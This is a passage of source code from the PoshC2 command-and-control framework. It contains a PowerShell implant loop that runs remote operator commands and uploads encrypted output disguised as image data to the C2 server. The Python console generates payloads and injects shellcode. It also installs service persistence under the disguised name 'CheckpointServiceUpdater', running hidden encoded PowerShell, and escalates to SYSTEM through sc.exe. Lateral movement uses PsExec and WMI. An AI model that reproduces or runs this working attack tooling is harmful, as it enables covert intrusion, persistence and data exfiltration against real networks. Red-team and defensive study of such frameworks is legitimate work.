(Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch {
|
||||
$Output = "ErrorUpload: " + $error[0]
|
||||
}
|
||||
} elseif ($i.ToLower().StartsWith("download-file")) {
|
||||
try {
|
||||
Invoke-Expression $i | Out-Null
|
||||
}
|
||||
catch {
|
||||
$Output = "ErrorLoadMod: " + $error[0]
|
||||
}
|
||||
} elseif ($i.ToLower().StartsWith("loadmodule")) {
|
||||
try {
|
||||
$modulename = $i -replace "LoadModule",""
|
||||
$Output = Invoke-Expression $modulename | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
$ModuleLoaded = Encrypt-String $key "ModuleLoaded"
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$UploadBytes = getimgdata $Output
|
||||
(Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch {
|
||||
$Output = "ErrorLoadMod: " + $error[0]
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
$Output = Invoke-Expression $i | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
$StdError = ($error[0] | Out-String)
|
||||
if ($StdError){
|
||||
$Output = $Output + $StdError
|
||||
$error.clear()
|
||||
}
|
||||
} catch {
|
||||
$Output = "ErrorCmd: " + $error[0]
|
||||
}
|
||||
try {
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$Response = Encrypt-String $key $i
|
||||
$UploadBytes = getimgdata $Output
|
||||
(Get-Webclient -Cookie $Response).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch{}
|
||||
}
|
||||
}
|
||||
}
|
||||
elseif ($ReadCommandClear.ToLower().StartsWith("upload-file")) {
|
||||
try {
|
||||
$Output = Invoke-Expression $ReadCommandClear | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] }
|
||||
$ModuleLoaded = Encrypt-String $key $result
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$UploadBytes = getimgdata $Output
|
||||
(Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch {
|
||||
$Output = "ErrorUpload: " + $error[0]
|
||||
}
|
||||
|
||||
} elseif ($ReadCommandClear.ToLower().StartsWith("download-file")) {
|
||||
try {
|
||||
Invoke-Expression $ReadCommandClear | Out-Null
|
||||
}
|
||||
catch {
|
||||
$Output = "ErrorLoadMod: " + $error[0]
|
||||
}
|
||||
} elseif ($ReadCommandClear.ToLower().StartsWith("loadmodule")) {
|
||||
try {
|
||||
$modulename = $ReadCommandClear -replace "LoadModule",""
|
||||
$Output = Invoke-Expression $modulename | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
$ModuleLoaded = Encrypt-String $key "ModuleLoaded"
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$UploadBytes = getimgdata $Output
|
||||
(Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch {
|
||||
$Output = "ErrorLoadMod: " + $error[0]
|
||||
}
|
||||
|
||||
} else {
|
||||
try {
|
||||
$Output = Invoke-Expression $ReadCommandClear | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
$StdError = ($error[0] | Out-String)
|
||||
if ($StdError){
|
||||
$Output = $Output + $StdError
|
||||
$error.clear()
|
||||
}
|
||||
} catch {
|
||||
$Output = "ErrorCmd: " + $error[0]
|
||||
}
|
||||
try {
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$UploadBytes = getimgdata $Output
|
||||
(Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null
|
||||
} catch {}
|
||||
}
|
||||
$ReadCommandClear = $null
|
||||
$ReadCommand = $null
|
||||
}
|
||||
break
|
||||
}
|
||||
}""" % (self.Key, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs)
|
||||
#Add all db elements
|
||||
|
||||
def display(self):
|
||||
print Colours.GREEN,""
|
||||
print "New %s implant connected: (uri=%s key=%s)" % (self.Pivot, self.RandomURI, self.Key)
|
||||
print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (self.IPAddress, self.Proxy, self.FirstSeen,
|
||||
self.PID, self.Sleep, self.Domain, self.Arch)
|
||||
print "",Colours.END
|
||||
|
||||
try:
|
||||
sound = select_item("Sounds","C2Server")
|
||||
if sound == "Yes":
|
||||
import pyttsx3
|
||||
engine = pyttsx3.init()
|
||||
rate = engine.getProperty('rate')
|
||||
voices = engine.getProperty('voices')
|
||||
engine.setProperty('voice', "english-us")
|
||||
engine.setProperty('rate', rate-30)
|
||||
engine.say("Nice, we have an implant")
|
||||
engine.runAndWait()
|
||||
except Exception as e:
|
||||
EspeakError = "espeak error"
|
||||
|
||||
try:
|
||||
apikey = select_item("APIKEY","C2Server")
|
||||
mobile = select_item("MobileNumber","C2Server")
|
||||
|
||||
#import httplib, urllib
|
||||
#conn = httplib.HTTPSConnection("api.pushover.net:443")
|
||||
#conn.request("POST", "/1/messages.json",
|
||||
# urllib.urlencode({
|
||||
# "token": "",
|
||||
# "user": "",
|
||||
# "message": "NewImplant: %s @ %s" % (self.User,self.Hostname),
|
||||
# }), { "Content-type": "application/x-www-form-urlencoded" })
|
||||
#conn.getresponse()
|
||||
|
||||
if apikey and mobile:
|
||||
for number in mobile.split(","):
|
||||
number = number.replace('"','')
|
||||
url = "https://api.clockworksms.com/http/send.aspx?key=%s&to=%s&from=PoshC2&content=NewImplant:%s\%s @ %s" % (apikey, number, self.Domain,self.User,self.Hostname)
|
||||
url = url.replace(" ","+")
|
||||
response = urllib2.urlopen(url)
|
||||
except Exception as e:
|
||||
print "SMS send error: %s" % e
|
||||
|
||||
def save(self):
|
||||
new_implant(self.RandomURI, self.User, self.Hostname, self.IPAddress, self.Key, self.FirstSeen, self.FirstSeen, self.PID, self.Proxy, self.Arch, self.Domain, self.Alive, self.Sleep, self.ModsLoaded, self.Pivot)
|
||||
|
||||
def autoruns(self):
|
||||
new_task("loadmodule Implant-Core.ps1", self.RandomURI)
|
||||
update_mods("Implant-Core.ps1", self.RandomURI)
|
||||
result = get_autoruns()
|
||||
if result:
|
||||
autoruns = ""
|
||||
for autorun in result:
|
||||
new_task(autorun[1], self.RandomURI)
|
|
@ -0,0 +1,908 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import os, time, readline, base64, re, traceback, glob, sys, argparse, shlex, signal
|
||||
import datetime
|
||||
from datetime import datetime, timedelta
|
||||
from sqlite3 import Error
|
||||
from Help import *
|
||||
from AutoLoads import *
|
||||
from DB import *
|
||||
from Colours import *
|
||||
from Config import *
|
||||
from HTML import *
|
||||
from TabComplete import *
|
||||
from Payloads import *
|
||||
from Core import *
|
||||
|
||||
def catch_exit(signum, frame):
|
||||
sys.exit(0)
|
||||
|
||||
def argp(cmd):
|
||||
args = ""
|
||||
try:
|
||||
parser = argparse.ArgumentParser(add_help=False)
|
||||
parser.add_argument('-Help', '-help', '-h', action='store', dest='help', required=False)
|
||||
parser.add_argument('-Source', '-source', action='store', dest='source', required=True)
|
||||
parser.add_argument('-Destination', '-destination', action='store', dest='destination', required=True)
|
||||
args, unknown = parser.parse_known_args(shlex.split(cmd))
|
||||
except:
|
||||
error = "error"
|
||||
return args
|
||||
|
||||
def filecomplete(text, state):
|
||||
return (glob.glob(text+'*')+[None])[state]
|
||||
|
||||
def complete(text, state):
|
||||
for cmd in COMMANDS:
|
||||
if cmd.startswith(text):
|
||||
if not state:
|
||||
return cmd
|
||||
else:
|
||||
state -= 1
|
||||
|
||||
def load_file( location ):
|
||||
fr = None
|
||||
try:
|
||||
file = open((location), "rb")
|
||||
fr = file.read()
|
||||
except Exception as e:
|
||||
print "Error loading file %s" % e
|
||||
|
||||
if fr:
|
||||
return fr
|
||||
else:
|
||||
return None
|
||||
|
||||
def migrate(randomuri, params=""):
|
||||
implant = get_implantdetails(randomuri)
|
||||
implant_arch = implant[10]
|
||||
implant_comms = implant[15]
|
||||
|
||||
if implant_arch == "AMD64":
|
||||
arch = "64"
|
||||
else:
|
||||
arch = "86"
|
||||
|
||||
if implant_comms == "Normal":
|
||||
shellcodefile = load_file("%s/payloads/Posh-shellcode_x%s.bin" % (ROOTDIR,arch))
|
||||
elif implant_comms == "Daisy":
|
||||
daisyname = raw_input("Name required: ")
|
||||
shellcodefile = load_file("%s/payloads/%sPosh-shellcode_x%s.bin" % (ROOTDIR,daisyname,arch))
|
||||
elif implant_comms == "Proxy":
|
||||
shellcodefile = load_file("%s/payloads/ProxyPosh-shellcode_x%s.bin" % (ROOTDIR,arch))
|
||||
|
||||
check_module_loaded("Inject-Shellcode.ps1", randomuri)
|
||||
new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), randomuri)
|
||||
new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), randomuri)
|
||||
|
||||
def startup(printhelp = ""):
|
||||
try:
|
||||
if os.name == 'nt':
|
||||
os.system('cls')
|
||||
else:
|
||||
os.system('clear')
|
||||
except Exception as e:
|
||||
print "cls"
|
||||
print chr(27) + "[2J"
|
||||
print Colours.GREEN,""
|
||||
print logo
|
||||
print Colours.END,""
|
||||
|
||||
try:
|
||||
ii = get_implants()
|
||||
if ii:
|
||||
for i in ii:
|
||||
ID = i[0]
|
||||
RandomURI = i[1]
|
||||
LastSeen = i[7]
|
||||
Hostname = i[3]
|
||||
DomainUser = i[11]
|
||||
Arch = i[10]
|
||||
PID = i[8]
|
||||
Pivot = i[15]
|
||||
Sleep = i[13]
|
||||
if Pivot == "Daisy": Pivot = "D"
|
||||
elif Pivot == "Proxy": Pivot = "P"
|
||||
else: Pivot = ""
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
LastSeenTime = datetime.strptime(LastSeen,"%m/%d/%Y %H:%M:%S")
|
||||
now = datetime.now()
|
||||
nowplus10 = now - timedelta(minutes=10)
|
||||
nowplus60 = now - timedelta(minutes=59)
|
||||
|
||||
if nowplus60 > LastSeenTime:
|
||||
print Colours.RED,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot)
|
||||
elif nowplus10 > LastSeenTime:
|
||||
print Colours.YELLOW,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot)
|
||||
else:
|
||||
print Colours.GREEN,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot)
|
||||
else:
|
||||
from datetime import datetime, timedelta
|
||||
now = datetime.now()
|
||||
print Colours.RED,"No Implants as of: %s" % now.strftime("%m/%d/%Y %H:%M:%S")
|
||||
print Colours.END,""
|
||||
if printhelp:
|
||||
print printhelp
|
||||
|
||||
t = tabCompleter()
|
||||
t.createListCompleter(PRECOMMANDS)
|
||||
readline.set_completer_delims('\t')
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(t.listCompleter)
|
||||
history = get_history_dict()
|
||||
if history:
|
||||
for command in history:
|
||||
try:
|
||||
readline.add_history(command[1])
|
||||
except:
|
||||
pass
|
||||
|
||||
implant_id = raw_input("Select ImplantID or ALL or Comma Separated List (Enter to refresh):: ")
|
||||
print ""
|
||||
|
||||
if implant_id:
|
||||
try:
|
||||
last = get_lastcommand()
|
||||
if last:
|
||||
if last != implant_id:
|
||||
new_commandhistory(implant_id)
|
||||
else:
|
||||
new_commandhistory(implant_id)
|
||||
except Exception as e:
|
||||
ExError = e
|
||||
|
||||
if (implant_id == "") or (implant_id.lower() == "back") or (implant_id.lower() == "clear"):
|
||||
startup()
|
||||
|
||||
if "output-to-html" in implant_id.lower():
|
||||
generate_table("CompletedTasks")
|
||||
generate_table("C2Server")
|
||||
generate_table("Creds")
|
||||
generate_table("Implants")
|
||||
graphviz()
|
||||
time.sleep(1)
|
||||
startup()
|
||||
|
||||
if "add-autorun" in implant_id.lower():
|
||||
autorun = (implant_id.lower()).replace("add-autorun ","")
|
||||
autorun = autorun.replace("add-autorun","")
|
||||
add_autorun(autorun)
|
||||
startup("add-autorun: %s\r\n" % autorun)
|
||||
if "list-autorun" in implant_id.lower():
|
||||
autoruns = get_autorun()
|
||||
startup(autoruns)
|
||||
if "del-autorun" in implant_id.lower():
|
||||
autorun = (implant_id.lower()).replace("del-autorun ","")
|
||||
del_autorun(autorun)
|
||||
startup("deleted autorun\r\n")
|
||||
if "nuke-autorun" in implant_id.lower():
|
||||
del_autoruns()
|
||||
startup("nuked autoruns\r\n")
|
||||
if (implant_id.lower() == "automigrate-frompowershell") or (implant_id.lower() == "am"):
|
||||
startup("automigrate not currently implemented for the Python version of PoshC2\r\n")
|
||||
if "show-serverinfo" in implant_id.lower():
|
||||
details = get_c2server_all()
|
||||
startup(details)
|
||||
if "turnoff-sms" in implant_id.lower():
|
||||
update_item("MobileNumber", "C2Server", "")
|
||||
startup("Turned off SMS on new implant")
|
||||
if "set-clockworksmsapikey" in implant_id.lower():
|
||||
cmd = (implant_id.lower()).replace("set-clockworksmsapikey ","")
|
||||
cmd = cmd.replace("set-clockworksmsapikey","")
|
||||
update_item("MobileNumber", "C2Server", cmd)
|
||||
startup("Updated set-clockworksmsapikey: %s\r\n" % cmd)
|
||||
if "set-clockworksmsnumber" in implant_id.lower():
|
||||
cmd = (implant_id.lower()).replace("set-clockworksmsnumber ","")
|
||||
cmd = cmd.replace("set-clockworksmsnumber","")
|
||||
update_item("APIKEY", "C2Server", cmd)
|
||||
startup("Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" % cmd)
|
||||
if "set-defaultbeacon" in implant_id.lower():
|
||||
cmd = (implant_id.lower()).replace("set-defaultbeacon ","")
|
||||
cmd = cmd.replace("set-defaultbeacon","")
|
||||
update_item("DefaultSleep", "C2Server", cmd)
|
||||
startup("Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % cmd)
|
||||
if "opsec" in implant_id.lower():
|
||||
implants = get_implants_all()
|
||||
comtasks = get_completedtasks()
|
||||
hosts = ""
|
||||
uploads = ""
|
||||
for i in implants:
|
||||
if i[3] not in hosts:
|
||||
hosts += "%s \n" % i[3]
|
||||
for t in comtasks:
|
||||
if "Upload-File" in t[3]:
|
||||
hostname = get_implantdetails(t[2])
|
||||
uploads += "%s %s \n" % (hostname[3], t[3])
|
||||
startup("Hosts Compromised: %s\nFiles Uploaded: \n%s" % (hosts, uploads))
|
||||
if "listmodules" in implant_id.lower():
|
||||
mods = ""
|
||||
for modname in os.listdir("%s/Modules/" % POSHDIR):
|
||||
mods += "%s\r\n" % modname
|
||||
startup(mods)
|
||||
if "creds" in implant_id.lower():
|
||||
startup("creds module not implemented yet")
|
||||
|
||||
if (implant_id.lower() == "pwnself" ) or (implant_id.lower() == "p"):
|
||||
startup("Cannot pwnself on Unix :)\r\n")
|
||||
|
||||
if (implant_id.lower() == "tasks" ) or (implant_id.lower() == "tasks "):
|
||||
alltasks = ""
|
||||
tasks = get_nettasks_all()
|
||||
if tasks is None:
|
||||
startup("No tasks queued!\r\n")
|
||||
else:
|
||||
for task in tasks:
|
||||
imname = get_implantdetails(task[1])
|
||||
alltasks += "(%s) %s\r\n" % ("%s" % (imname[11]),task[2])
|
||||
startup("Queued tasks:\r\n\r\n%s" % alltasks)
|
||||
|
||||
if (implant_id.lower() == "cleartasks" ) or (implant_id.lower() == "cleartasks "):
|
||||
drop_nettasks()
|
||||
startup("Empty tasks queue\r\n")
|
||||
|
||||
if "quit" in implant_id.lower():
|
||||
ri = raw_input("Are you sure you want to quit? (Y/n) ")
|
||||
if ri.lower() == "n":
|
||||
startup()
|
||||
if ri == "":
|
||||
sys.exit(0)
|
||||
if ri.lower() == "y":
|
||||
sys.exit(0)
|
||||
|
||||
if "createdaisypayload" in implant_id.lower():
|
||||
name = raw_input("Daisy name: e.g. DC1 ")
|
||||
daisyurl = raw_input("Daisy host: .e.g. http://10.150.10.1 ")
|
||||
daisyport = raw_input("Daisy port: .e.g. 8888 ")
|
||||
daisyhostid = raw_input("Select Daisy Implant Host: e.g. 5 ")
|
||||
daisyhost = get_implantbyid(daisyhostid)
|
||||
proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
|
||||
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "",
|
||||
"", proxynone, C2[19], C2[20],
|
||||
C2[21], "%s?d" % get_newimplanturl(), PayloadsDirectory)
|
||||
newPayload.C2Core = (newPayload.C2Core).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3]))
|
||||
newPayload.CreateRaw(name)
|
||||
newPayload.CreateDlls(name)
|
||||
newPayload.CreateShellcode(name)
|
||||
newPayload.CreateEXE(name)
|
||||
startup("Created new %s daisy payloads" % name)
|
||||
|
||||
if "createproxypayload" in implant_id.lower():
|
||||
proxyuser = raw_input("Proxy User: e.g. Domain\\user ")
|
||||
proxypass = raw_input("Proxy Password: e.g. Password1 ")
|
||||
proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ")
|
||||
update_item("ProxyURL", "C2Server", proxyurl)
|
||||
update_item("ProxyUser", "C2Server", proxyuser)
|
||||
update_item("ProxyPass", "C2Server", proxypass)
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
|
||||
newPayload.CreateRaw("Proxy")
|
||||
newPayload.CreateDlls("Proxy")
|
||||
newPayload.CreateShellcode("Proxy")
|
||||
newPayload.CreateEXE("Proxy")
|
||||
startup("Created new proxy payloads")
|
||||
|
||||
if "createnewpayload" in implant_id.lower():
|
||||
domain = raw_input("Domain or URL: https://www.example.com ")
|
||||
domainbase = (domain.lower()).replace('https://','')
|
||||
domainbase = domainbase.replace('http://','')
|
||||
domainfront = raw_input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ")
|
||||
proxyuser = raw_input("Proxy User: e.g. Domain\\user ")
|
||||
proxypass = raw_input("Proxy Password: e.g. Password1 ")
|
||||
proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ")
|
||||
if proxyurl:
|
||||
imurl = "%s?p" % get_newimplanturl()
|
||||
else:
|
||||
imurl = get_newimplanturl()
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser,
|
||||
proxypass, proxyurl, "", "", C2[19], C2[20],
|
||||
C2[21], imurl, PayloadsDirectory)
|
||||
|
||||
newPayload.CreateRaw("%s_" % domainbase)
|
||||
newPayload.CreateDlls("%s_" % domainbase)
|
||||
newPayload.CreateShellcode("%s_" % domainbase)
|
||||
newPayload.CreateEXE("%s_" % domainbase)
|
||||
startup("Created new payloads")
|
||||
|
||||
if (implant_id == "?") or (implant_id == "help"):
|
||||
startup(pre_help)
|
||||
|
||||
if (implant_id.lower() == "history") or implant_id.lower() == "history ":
|
||||
startup(get_history())
|
||||
|
||||
if "use " in implant_id.lower():
|
||||
implant_id = implant_id.replace("use ","")
|
||||
params = re.compile("use ", re.IGNORECASE)
|
||||
implant_id = params.sub("", implant_id)
|
||||
|
||||
commandloop(implant_id)
|
||||
except Exception as e:
|
||||
traceback.print_exc()
|
||||
print "Error: %s" % e
|
||||
print "Currently no valid implants: sleeping for 10 seconds"
|
||||
time.sleep(10)
|
||||
startup()
|
||||
|
||||
def runcommand(command, randomuri):
|
||||
if command:
|
||||
try:
|
||||
last = get_lastcommand()
|
||||
if last:
|
||||
if last != command:
|
||||
new_commandhistory(command)
|
||||
else:
|
||||
new_commandhistory(command)
|
||||
except Exception as e:
|
||||
ExError = e
|
||||
|
||||
implant_type = get_implanttype(randomuri)
|
||||
if implant_type == "OSX":
|
||||
if 'sleep' in command.lower() or 'beacon' in command.lower() or 'set-beacon' in command.lower() or 'setbeacon' in command.lower():
|
||||
command = command.replace('set-beacon ', '')
|
||||
command = command.replace('setbeacon ', '')
|
||||
command = command.replace('sleep ', '')
|
||||
command = command.replace('beacon ', '')
|
||||
try:
|
||||
if "s" in command:
|
||||
command = command.replace('s', '')
|
||||
if "h" in command:
|
||||
command = command.replace('h', '')
|
||||
command = (int(command)) * 60
|
||||
command = (int(command)) * 60
|
||||
if "m" in command:
|
||||
command = command.replace('m', '')
|
||||
command = (int(command)) * 60
|
||||
except Exception as e:
|
||||
print "Error setting beacon: %s" % e
|
||||
|
||||
sleep = '$sleeptime = %s' % command
|
||||
update_sleep(command, randomuri)
|
||||
new_task(sleep, randomuri)
|
||||
|
||||
elif "kill-implant" in command.lower():
|
||||
pid = get_pid(randomuri)
|
||||
new_task("kill -9 %s" % pid,randomuri)
|
||||
kill_implant(randomuri)
|
||||
|
||||
elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "):
|
||||
startup()
|
||||
|
||||
else:
|
||||
if command:
|
||||
new_task(command, randomuri)
|
||||
return
|
||||
|
||||
else:
|
||||
try:
|
||||
check_module_loaded("Implant-Core.ps1", randomuri)
|
||||
except Exception as e:
|
||||
print "Error loading Implant-Core.ps1: %s" % e
|
||||
|
||||
run_autoloads(command, randomuri)
|
||||
|
||||
if 'sleep' in command or ('beacon' in command.lower() and '-beacon' not in command.lower()) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower():
|
||||
new_task(command, randomuri)
|
||||
command = command.replace('set-beacon ', '')
|
||||
command = command.replace('setbeacon ', '')
|
||||
command = command.replace('sleep ', '')
|
||||
command = command.replace('beacon ', '')
|
||||
update_sleep(command, randomuri)
|
||||
|
||||
elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "):
|
||||
startup()
|
||||
|
||||
elif "install-servicelevel-persistencewithproxy" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
if C2[11] == "":
|
||||
startup("Need to run createproxypayload first")
|
||||
else:
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "install-servicelevel-persistence" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
|
||||
"", "", "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "remove-servicelevel-persistence" in command.lower():
|
||||
new_task("sc.exe delete CPUpdater", randomuri)
|
||||
|
||||
# psexec lateral movement
|
||||
elif "get-implantworkingdirectory" in command.lower():
|
||||
new_task("pwd", randomuri)
|
||||
|
||||
elif "get-system-withproxy" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
if C2[11] == "":
|
||||
startup("Need to run createproxypayload first")
|
||||
else:
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe start CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe delete CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "get-system-withdaisy" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
daisyname = raw_input("Payload name required: ")
|
||||
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))):
|
||||
with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read()
|
||||
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe start CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe delete CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "get-system" in command.lower():
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
|
||||
"", "", "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe start CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
cmd = "sc.exe delete CPUpdaterMisc"
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "quit" in command.lower():
|
||||
ri = raw_input("Are you sure you want to quit? (Y/n) ")
|
||||
if ri.lower() == "n":
|
||||
startup()
|
||||
if ri == "":
|
||||
sys.exit(0)
|
||||
if ri.lower() == "y":
|
||||
sys.exit(0)
|
||||
|
||||
elif "invoke-psexecproxypayload" in command.lower():
|
||||
check_module_loaded("Invoke-PsExec.ps1", randomuri)
|
||||
C2 = get_c2server_all()
|
||||
if C2[11] == "":
|
||||
startup("Need to run createproxypayload first")
|
||||
else:
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "invoke-psexecdaisypayload" in command.lower():
|
||||
check_module_loaded("Invoke-PsExec.ps1", randomuri)
|
||||
daisyname = raw_input("Payload name required: ")
|
||||
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))):
|
||||
with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read()
|
||||
params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-psexec %s -command \"%s\"" % (params,payload)
|
||||
new_task(cmd, randomuri)
|
||||
else:
|
||||
startup("Need to run createdaisypayload first")
|
||||
|
||||
elif "invoke-psexecpayload" in command.lower():
|
||||
check_module_loaded("Invoke-PsExec.ps1", randomuri)
|
||||
C2 = get_c2server_all()
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "",
|
||||
"", "", "", "", C2[19], C2[20],
|
||||
C2[21], get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
params = re.compile("invoke-psexecpayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
# wmi lateral movement
|
||||
|
||||
elif "invoke-wmiproxypayload" in command.lower():
|
||||
check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
||||
C2 = get_c2server_all()
|
||||
if C2[11] == "":
|
||||
startup("Need to run createproxypayload first")
|
||||
else:
|
||||
newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
|
||||
C2[13], C2[11], "", "", C2[19], C2[20],
|
||||
C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory)
|
||||
payload = newPayload.CreateRawBase()
|
||||
params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (params,payload)
|
||||
new_task(cmd, randomuri)
|
||||
|
||||
elif "invoke-wmidaisypayload" in command.lower():
|
||||
check_module_loaded("Invoke-WMIExec.ps1", randomuri)
|
||||
daisyname = raw_input("Name required: ")
|
||||
if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))):
|
||||
with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read()
|
||||
params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE)
|
||||
params = params.sub("", command)
|
||||
cmd = "invoke-wmiexec %s -command \"%s\"" % (params,payload)
